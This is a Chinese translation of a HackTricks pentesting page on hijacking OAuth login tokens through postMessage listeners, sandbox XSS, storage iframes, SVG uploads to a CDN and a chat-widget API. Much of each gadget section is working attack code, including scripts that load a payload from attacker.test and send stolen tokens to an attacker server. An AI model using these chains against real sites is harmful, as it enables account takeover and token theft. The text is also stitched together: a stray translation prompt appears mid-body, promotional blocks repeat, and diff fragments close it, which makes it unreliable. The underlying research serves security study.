当收集包含`redirect_uri`值的所有登录URL时,我还可以测试其他重定向URI值是否也有效。在我测试的网站中保存的125个不同的Google登录流程中,有5个网站的起始页面也是有效的`redirect_uri`。例如,如果正在使用`redirect_uri=https://auth.example.com/callback`,在这5种情况下,任何以下都是有效的:
|
||||
|
||||
* `redirect_uri=https://example.com/`
|
||||
* `redirect_uri=https://example.com`
|
||||
* `redirect_uri=https://www.example.com/`
|
||||
* `redirect_uri=https://www.example.com`
|
||||
|
||||
对于实际使用`id_token`或`token`的网站来说,这尤其有趣,因为`response_type=code`仍然会在OAuth流程的最后一步中,即获取令牌时,由OAuth提供商验证`redirect_uri`。
|
||||
|
||||
## Gadget 1:弱或没有进行来源检查的postMessage监听器泄露URL
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-1-1024x582.png)
|
||||
|
||||
**在这个例子中,最终的非正常路径是发送一个post请求消息,泄露了location.href。**\
|
||||
一个例子是加载在网站上的一个流行网站的分析SDK:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example1.png)
|
||||
|
||||
该SDK暴露了一个postMessage监听器,当消息类型匹配时,会发送以下消息:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example2.png)
|
||||
|
||||
从不同的来源向其发送消息:
|
||||
```javascript
|
||||
openedwindow = window.open('https://www.example.com');
|
||||
...
|
||||
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
|
||||
```
|
||||
一个响应消息将显示在发送消息的窗口中,该消息包含网站的`location.href`:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example3.png)
|
||||
|
||||
攻击中使用的流程取决于代码和令牌在登录流程中的使用方式,但思路是:
|
||||
|
||||
### **攻击**
|
||||
|
||||
1. 攻击者向受害者发送一个经过精心准备的链接,该链接已准备好在OAuth流程中导致非正常路径。
|
||||
2. 受害者**点击**该链接。新标签页打开,显示正在利用的网站的OAuth提供程序之一的**登录**流程。
|
||||
3. 在被利用的网站上触发非正常路径,**易受攻击的postMessage监听器在受害者所在的页面上加载,仍然带有URL中的代码或令牌**。
|
||||
4. 由攻击者发送的**原始标签页**向新标签页发送一系列**postMessage**,以使postMessage监听器泄漏当前URL。
|
||||
5. 由攻击者发送的原始标签页然后**监听发送给它的消息**。当URL以消息形式返回时,**提取代码和令牌**并发送给攻击者。
|
||||
6. 攻击者使用在非正常路径上结束的代码或令牌**以受害者身份登录**。
|
||||
|
||||
## Gadget 2:在沙盒/第三方域上的XSS获取URL
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-2-1024x582.png)
|
||||
|
||||
 
|
||||
|
||||
## **Gadget 2:示例1,从沙盒iframe中窃取window.name**
|
||||
|
||||
这个示例在**OAuth流程结束的页面**上加载了一个**iframe**。**iframe**的**名称**是`window.location`对象的**JSON字符串化版本**。这是一种旧的跨域传输数据的方式,因为iframe中的页面可以通过父页面设置自己的`window.name`:
|
||||
```javascript
|
||||
i = document.createElement('iframe');
|
||||
i.name = JSON.stringify(window.location)
|
||||
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
|
||||
document.body.appendChild(i)
|
||||
```
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget2-example2.png)
|
||||
|
||||
在**iframe中加载的域**也存在一个简单的XSS漏洞:
|
||||
```
|
||||
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
|
||||
```
|
||||
### 攻击
|
||||
|
||||
如果在一个窗口中的一个**域**上有一个**XSS**,那么如果这些窗口之间存在父/子/opener-**关系**,那么这个窗口就可以**访问相同源的其他窗口**。
|
||||
|
||||
这意味着攻击者可以利用XSS来加载一个带有特制**OAuth链接**的新标签页,该链接将以**加载带有令牌的iframe的路径**结束。然后,从被利用的**XSS**页面上,可以**读取iframe的名称**,因为它在iframe的父页面上有一个**opener**,并将其泄露出去。
|
||||
|
||||
更具体地说:
|
||||
|
||||
1. 创建一个恶意页面,其中嵌入了一个带有XSS的沙盒的iframe,加载了我的自定义脚本:
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
|
||||
x=createElement('script'),
|
||||
x.src='//attacker.test/inject.js',
|
||||
document.body.appendChild(x);"
|
||||
style="border:0;width:500px;height:500px"></iframe></div>
|
||||
```
|
||||
|
||||
2. 在我加载到沙盒中的脚本中,我用要用于受害者的链接替换了内容:
|
||||
|
||||
```javascript
|
||||
document.body.innerHTML =
|
||||
'<a href="#" onclick="
|
||||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||||
Click here to hijack token</a>';
|
||||
```
|
||||
|
||||
我还启动了一个定时器脚本,以检查链接是否已打开,并且我想要访问的iframe是否存在,以获取与攻击者页面上的iframe具有相同源的iframe上设置的`window.name`:
|
||||
|
||||
```javascript
|
||||
x = setInterval(function() {
|
||||
if(parent.window.b &&
|
||||
parent.window.b.frames[0] &&
|
||||
parent.window.b.frames[0].window &&
|
||||
parent.window.b.frames[0].window.name) {
|
||||
top.postMessage(parent.window.b.frames[0].window.name, '*');
|
||||
parent.window.b.close();
|
||||
clearInterval(x);
|
||||
}
|
||||
}, 500);
|
||||
```
|
||||
|
||||
3. 攻击者页面现在可以监听我们刚刚发送的带有`window.name`的消息:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data) {
|
||||
document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## **Gadget 2: 示例2,带有XSS + 父源检查的iframe**
|
||||
|
||||
第二个示例是一个在**非happy path**上加载的**iframe**,其中使用**postMessage**进行XSS,但是**只允许来自`parent`**窗口的消息。当iframe向`parent`窗口发送`initConfig`消息时,`location.href`被发送到了iframe中。
|
||||
|
||||
主窗口加载iframe的方式如下:
|
||||
```html
|
||||
<iframe src="https://challenge-iframe.example.com/"></iframe>
|
||||
```
|
||||
以下是来自一本关于黑客技术的书籍的内容。以下内容来自文件/hive/hacktricks/pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md。将相关的英文文本翻译成中文,并返回翻译结果,保持完全相同的Markdown和HTML语法。不要翻译代码、黑客技术名称、黑客术语、云/SaaS平台名称(如Workspace、aws、gcp...)、单词“leak”、“pentesting”和Markdown标签。此外,请不要添加任何额外的内容,只需提供翻译和Markdown语法即可。
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.source !== window.parent) {
|
||||
// not a valid origin to send messages
|
||||
return;
|
||||
}
|
||||
if (e.data.type === 'loadJs') {
|
||||
loadScript(e.data.jsUrl);
|
||||
} else if (e.data.type === 'initConfig') {
|
||||
loadConfig(e.data.config);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
### 攻击
|
||||
|
||||
在这种情况下,**攻击者加载一个带有Post-message XSS漏洞页面的iframe**,并利用XSS加载**任意JS**。\
|
||||
这个**JS**将会**打开一个带有OAuth链接的标签页**。在登录后,最终页面中的URL中包含了令牌,并加载了一个iframe(XSS post-message漏洞的iframe)。
|
||||
|
||||
然后,**被利用的XSS**中的**任意JS**(来自于opener的标签页)可以**访问该iframe**,并使其**向父级请求`initConfig`**(其中包含了带有令牌的URL)。父页面**将其提供给iframe**,并且**命令其泄露**。
|
||||
|
||||
在这种情况下,我可以使用类似于之前示例的方法:
|
||||
|
||||
1. 创建一个**恶意页面**,嵌入一个**沙箱的iframe**,并在iframe加载时附加一个**onload**以**触发脚本**。
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://challenge-iframe.example.com/"
|
||||
onload="run()"
|
||||
style="border:0;width:500px;height:500px"></iframe></div>
|
||||
```
|
||||
|
||||
2. 由于**恶意页面是iframe的父级**,它可以使用**postMessage(XSS)**向iframe发送消息,以在沙箱的源中加载我们的脚本:
|
||||
|
||||
```html
|
||||
<script>
|
||||
function run() {
|
||||
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
3. 在我加载到沙箱中的脚本中,我用**受害者的链接**替换了内容:
|
||||
|
||||
```javascript
|
||||
document.body.innerHTML = '<a href="#" onclick="
|
||||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||||
Click here to hijack token</a>';
|
||||
```
|
||||
|
||||
我还启动了一个脚本来**定时检查链接是否被打开,以及我想要访问的iframe是否存在**,以便从我的iframe向主窗口运行其中的javascript。然后,我附加了一个postMessage监听器,将消息传递回恶意窗口中的iframe:
|
||||
|
||||
```javascript
|
||||
x = setInterval(function() {
|
||||
if(b && b.frames[1]) {
|
||||
b.frames[1].eval(
|
||||
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
|
||||
'top.postMessage({type:'initConfig'},"*")'
|
||||
)
|
||||
clearInterval(x)
|
||||
}
|
||||
}, 500);
|
||||
```
|
||||
|
||||
4. 加载了iframe的攻击者页面可以监听我从主窗口的iframe中注入的postMessage监听器发送的消息:
|
||||
|
||||
```html
|
||||
<script>
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data) {
|
||||
document.getElementById('leak').innerText = '我们窃取了令牌:' + JSON.stringify(e.data);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
## Gadget 3: 使用API获取越界URL
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/Gadget-3--1024x582.png)
|
||||
|
||||
这个小工具非常有趣。将受害者引导到某个地方,然后从不同的位置获取敏感数据,这种感觉非常令人满足。
|
||||
|
||||
## **Gadget 3: 示例1,没有源检查的存储iframe**
|
||||
|
||||
第一个示例使用了一个外部服务来进行跟踪数据。该服务添加了一个“存储iframe”:
|
||||
```html
|
||||
<iframe
|
||||
id="tracking"
|
||||
name="tracking"
|
||||
src="https://cdn.customer1234.analytics.example.com/storage.html">
|
||||
</iframe>
|
||||
```
|
||||
主窗口将使用postMessage与此iframe进行通信,以发送跟踪数据,并将其保存在`storage.html`所在的源的localStorage中:
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
|
||||
```
|
||||
主窗口也可以获取此内容:
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
|
||||
```
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example1.png)
|
||||
|
||||
当iframe在初始化时加载时,使用`location.href`保存了用户最后访问位置的密钥:
|
||||
```javascript
|
||||
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
|
||||
```
|
||||
如果你能与这个源进行交流,并让它发送给你内容,那么可以从这个存储中获取`location.href`。服务的postMessage监听器有一个源的阻止列表和允许列表。看起来分析服务允许网站定义允许或拒绝的源:
|
||||
```javascript
|
||||
var blockList = [];
|
||||
var allowList = [];
|
||||
var syncListeners = [];
|
||||
|
||||
window.addEventListener('message', function(e) {
|
||||
// If there's a blockList, check if origin is there and if so, deny
|
||||
if (blockList && blockList.indexOf(e.origin) !== -1) {
|
||||
return;
|
||||
}
|
||||
// If there's an allowList, check if origin is there, else deny
|
||||
if (allowList && allowList.indexOf(e.origin) == -1) {
|
||||
return;
|
||||
}
|
||||
// Only parent can talk to it
|
||||
if (e.source !== window.parent) {
|
||||
return;
|
||||
}
|
||||
handleMessage(e);
|
||||
});
|
||||
|
||||
function handleMessage(e) {
|
||||
if (data.type === 'sync') {
|
||||
syncListeners.push({source: e.source, origin: e.origin})
|
||||
} else {
|
||||
...
|
||||
}
|
||||
|
||||
window.addEventListener('storage', function(e) {
|
||||
for(var i = 0; i < syncListeners.length; i++) {
|
||||
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
|
||||
}
|
||||
}
|
||||
```
|
||||
此外,如果您有基于`allowList`的有效来源,您还可以请求同步,这将在进行更改时将此窗口中的任何localStorage更改发送给您。
|
||||
|
||||
### 攻击
|
||||
|
||||
在OAuth流程的非正常路径上加载了此存储的网站上,未定义`allowList`的来源;**这允许任何来源与postMessage监听器进行通信**,如果来源是窗口的`parent`:
|
||||
|
||||
1. 我创建了一个恶意页面,嵌入了一个存储容器的iframe,并附加了一个onload来在加载iframe时触发脚本。
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/storage.html"
|
||||
onload="run()"></iframe></div>
|
||||
```
|
||||
2. 由于恶意页面现在是iframe的父级,并且在`allowList`中未定义任何来源,恶意页面可以向iframe发送消息,告诉存储发送任何对存储的更新的消息。我还可以在恶意页面上添加一个监听器,以侦听存储发送的任何同步更新:
|
||||
|
||||
```html
|
||||
<script>
|
||||
function run() {
|
||||
i.postMessage({type:'sync'}, '*')
|
||||
}
|
||||
window.addEventListener('message', function (e) {
|
||||
if (e.data && e.data.type === 'sync') {
|
||||
document.getElementById('leak').innerText = '我们窃取了令牌:' + JSON.stringify(e.data);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
```
|
||||
3. 恶意页面还将包含一个常规链接,供受害者点击:
|
||||
|
||||
```html
|
||||
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
|
||||
target="_blank">点击此处劫持令牌</a>';
|
||||
```
|
||||
4. 受害者将点击该链接,经过OAuth流程,并最终加载跟踪脚本和存储iframe的非正常路径。存储iframe会更新`last-url`。由于localStorage已更新,恶意页面中的iframe将触发`window.storage`事件,并且每当存储更改时,恶意页面将收到一个带有受害者当前URL的postMessage:
|
||||
|
||||
<figure><img src="https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Gadget 3: example 2, customer mix-up in CDN – DIY storage-SVG without origin check**
|
||||
|
||||
由于分析服务本身有一个漏洞赏金,我还想看看是否有办法泄漏为存储iframe配置正确来源的网站的URL。
|
||||
|
||||
当我开始在没有客户部分的`cdn.analytics.example.com`域名上在线搜索时,我注意到此CDN还包含由服务的客户上传的图像:
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer42326/event-image.png
|
||||
https://cdn.analytics.example.com/img/customer21131/test.png
|
||||
```
|
||||
我还注意到在这个CDN上以`Content-type: image/svg+xml`的形式内联提供了SVG文件:
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
|
||||
```
|
||||
我在该服务上注册了一个试用用户,并上传了自己的资产,这些资产也显示在了CDN上:
|
||||
```
|
||||
https://cdn.analytics.example.com/img/customer94342/tiger.svg
|
||||
```
|
||||
有趣的是,如果你使用了客户特定的子域名来访问CDN,图片仍然可以被加载。这个URL是有效的:
|
||||
```
|
||||
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
|
||||
```
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example4.png)
|
||||
|
||||
这意味着具有ID#94342的客户可以在客户#12345的存储中呈现SVG文件。
|
||||
|
||||
我上传了一个带有简单XSS有效负载的SVG文件:
|
||||
|
||||
`https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg`
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:,alert(document.domain)"></script>
|
||||
</svg>
|
||||
```
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example3.png)
|
||||
|
||||
不太好。CDN在`img/`下的所有内容中添加了`Content-Security-Policy: default-src 'self'`头部。你还可以看到服务器头部提到了S3 - 透露了内容是上传到了一个S3存储桶中:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png)
|
||||
|
||||
S3的一个有趣特性是,在S3中目录实际上并不是真正的目录;键之前的路径被称为“前缀”。这意味着S3不在乎`/`是否被URL编码,如果你在URL中对每个斜杠进行URL编码,它仍然会提供内容。如果我将`img/`更改为URL中的`img%2f`,仍然可以解析图像。然而,在这种情况下,CSP头部被移除,XSS被触发:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example6.png)
|
||||
|
||||
然后,我可以上传一个SVG,它会创建与常规的`storage.html`相同形式的存储处理程序和postMessage监听器,但`allowList`为空。这使我能够对那些已经正确定义了可以与存储进行通信的允许来源的网站进行相同类型的攻击。
|
||||
|
||||
我上传了一个看起来像这样的SVG:
|
||||
```html
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
|
||||
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
|
||||
</svg>
|
||||
```
|
||||
我可以使用与示例#1相同的方法,但不是将`storage.html`嵌入到iframe中,而是将SVG与URL编码的斜杠嵌入到iframe中:
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
|
||||
onload="run()"></iframe></div>
|
||||
```
|
||||
由于没有网站能够自行修复此问题,我向负责CDN的分析提供者发送了一份报告:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
|
||||
|
||||
关于查看第三方的配置错误漏洞的整个想法主要是为了确认存在多种方法来泄露令牌,并且由于第三方有一个漏洞赏金计划,这只是同一类型漏洞的不同接收者,不同之处在于影响范围是分析服务的所有客户。在这种情况下,第三方的客户实际上有能力正确配置工具,以防止数据泄露给攻击者。然而,由于敏感数据仍然发送给第三方,有趣的是看看是否有办法完全绕过客户对工具的正确配置。
|
||||
|
||||
## **Gadget 3: 示例3,聊天小部件API**
|
||||
|
||||
最后一个示例是基于一个聊天小部件,该小部件存在于网站的所有页面上,甚至是错误页面上。有多个postMessage监听器,其中一个没有正确的来源检查,只允许您启动聊天弹出窗口。另一个监听器对聊天小部件进行了严格的来源检查,以接收初始化调用和用于当前用户的当前聊天API令牌。
|
||||
```html
|
||||
<iframe src="https://chat-widget.example.com/chat"></iframe>
|
||||
<script>
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.data.type === 'launch-chat') {
|
||||
openChat();
|
||||
}
|
||||
});
|
||||
|
||||
function openChat() {
|
||||
...
|
||||
}
|
||||
|
||||
var chatApiToken;
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.origin === 'https://chat-widget.example.com') {
|
||||
if (e.data.type === 'chat-widget') {
|
||||
if (e.data.key === 'api-token') {
|
||||
chatApiToken = e.data.value;
|
||||
}
|
||||
if(e.data.key === 'init') {
|
||||
chatIsLoaded();
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
function chatIsLoaded() {
|
||||
...
|
||||
}
|
||||
</script>
|
||||
```
|
||||
当聊天iframe加载时:
|
||||
|
||||
1. 如果聊天小部件的localStorage中存在chat-api-token,则会使用postMessage将api-token发送给其父级。如果没有chat-api-token存在,则不发送任何内容。
|
||||
2. 当iframe加载完成后,它将向其父级发送一个带有`{"type": "chat-widget", "key": "init"}`的postMessage。
|
||||
|
||||
如果您在主窗口中点击聊天图标:
|
||||
|
||||
1. 如果尚未发送chat-api-token,则聊天小部件将创建一个并将其放入自己的origin的localStorage中,并将其通过postMessage发送给父窗口。
|
||||
2. 然后,父窗口将对聊天服务进行API调用。API端点受到特定为该服务配置的网站的CORS限制。您必须为带有chat-api-token的API调用提供有效的`Origin`标头,以允许发送请求。
|
||||
3. 主窗口的API调用将包含`location.href`并将其注册为具有chat-api-token的访客的“当前页面”。然后,响应将包含用于连接到websocket以启动聊天会话的令牌:
|
||||
|
||||
```json
|
||||
{
|
||||
"api_data": {
|
||||
"current_page": "https://example.com/#access_token=test",
|
||||
"socket_key": "xxxyyyzzz",
|
||||
...
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在这个例子中,我意识到聊天api-token的公告总是会被公告给聊天小部件iframe的父级,如果我得到了chat-api-token,我可以使用该令牌进行服务器端请求,然后在API调用中添加自己的人为`Origin`标头,因为CORS标头只对浏览器有效。这导致了以下链:
|
||||
|
||||
1. 创建一个恶意页面,嵌入聊天小部件的iframe,并添加一个postMessage监听器来监听chat-api-token。还触发一个事件来重新加载iframe,如果在2秒内没有获取到api-token。这是为了确保我也支持从未启动聊天的受害者,并且由于我可以远程触发打开聊天,所以我首先需要chat-api-token来开始轮询来自服务器端的聊天API中的数据。
|
||||
|
||||
```html
|
||||
<div id="leak"><iframe
|
||||
id="i" name="i"
|
||||
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
|
||||
<script>
|
||||
var gotToken = false;
|
||||
function reloadToCheck() {
|
||||
if (gotToken) return;
|
||||
setTimeout(function() {
|
||||
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
|
||||
}, 2000);
|
||||
}
|
||||
window.onmessage = function(e) {
|
||||
if (e.data.key === 'api-token') {
|
||||
gotToken = true;
|
||||
lookInApi(e.data.value);
|
||||
}
|
||||
}
|
||||
launchChatWindowByPostMessage();
|
||||
</script>
|
||||
```
|
||||
2. 添加一个链接到恶意页面,以打开以带有令牌的URL结束的登录流程:
|
||||
|
||||
```
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">点击此处劫持令牌</a>
|
||||
```
|
||||
3. `launchChatWindowByPostMessage()`函数将持续向主窗口发送postMessage,如果打开,则启动聊天小部件:
|
||||
|
||||
```javascript
|
||||
function launchChatWindowByPostMessage() {
|
||||
var launch = setInterval(function() {
|
||||
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
|
||||
}, 500);
|
||||
}
|
||||
```
|
||||
4. 当受害者点击链接并最终进入带有令牌的错误页面时,聊天将启动并创建一个chat-api-token。我在恶意页面上重新加载聊天小部件的iframe将通过postMessage获取`api-token`,然后我可以开始在API中查找受害者的当前URL:
|
||||
|
||||
```javascript
|
||||
function lookInApi(token) {
|
||||
var look = setInterval(function() {
|
||||
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
|
||||
if (e &&
|
||||
e.api_data &&
|
||||
e.api_data.current_url &&
|
||||
e.api_data.current_url.indexOf('access_token') !== -1) {
|
||||
var payload = e.api_data.current_url
|
||||
document.getElementById('leak').innerHTML = '攻击者现在拥有令牌:' + payload;
|
||||
clearInterval(look);
|
||||
}
|
||||
});
|
||||
}, 2000);
|
||||
}
|
||||
```
|
||||
5. `https://fetch-server-side.attacker.test/?token=xxx`上的服务器端页面将使用添加的Origin标头进行API调用,使Chat-API认为我正在使用它作为合法的来源:
|
||||
|
||||
```javascript
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
async function getDataFromChatApi(token) {
|
||||
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
|
||||
}
|
||||
function handleRequest(request) {
|
||||
const token = request.url.match('token=([^&#]+)')[1] || null;
|
||||
return token ? getDataFromChatApi(token) : null;
|
||||
}
|
||||
```
|
||||
6. 当受害者点击链接并完成OAuth流程,并在带有令牌的错误页面上着陆时,聊天小部件将突然弹出,注册当前URL,攻击者将获得受害者的访问令牌。
|
||||
|
||||
## 泄露URL的其他想法
|
||||
|
||||
仍然有其他不同类型的小工具等待被发现。以下是我在野外无法找到但可能是潜在的使用任何可用的响应模式泄露URL的方法之一。
|
||||
|
||||
### 在将任何postMessage路由到其opener的域上的页面
|
||||
|
||||
由于所有`web_message`响应类型无法验证来源的任何路径,因此任何有效域上的URL都可以接收带有令牌的postMessage。如果在域上的任何页面上存在某种形式的postMessage监听器代理,该代理接收发送到它的任何消息并将所有内容发送到其`opener`,我可以创建一个双重window.open链:
|
||||
|
||||
攻击者页面1:
|
||||
```html
|
||||
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
|
||||
```
|
||||
攻击者页面 2:
|
||||
```html
|
||||
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
|
||||
```
|
||||
而 `https://example.com/postmessage-proxy` 将会有以下内容:
|
||||
```javascript
|
||||
// Proxy all my messages to my opener:
|
||||
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
|
||||
```
|
||||
我可以使用任何`web_message`响应模式将令牌从OAuth提供程序提交到`https://example.com`的有效来源,但是该端点将进一步将令牌发送给`opener`,即攻击者的页面。
|
||||
|
||||
这个流程可能看起来不太可能,并且需要两次点击:一次创建攻击者和网站之间的opener关系,第二次启动以合法网站作为OAuth弹出窗口的opener的OAuth流程。
|
||||
|
||||
OAuth提供程序将令牌发送到合法来源:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example1.png)
|
||||
|
||||
合法来源具有将postMessage代理发送到其opener的功能:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example2.png)
|
||||
|
||||
这导致攻击者获取令牌:
|
||||
|
||||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example3.png)
|
||||
**Check the post [https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,322 +2,155 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
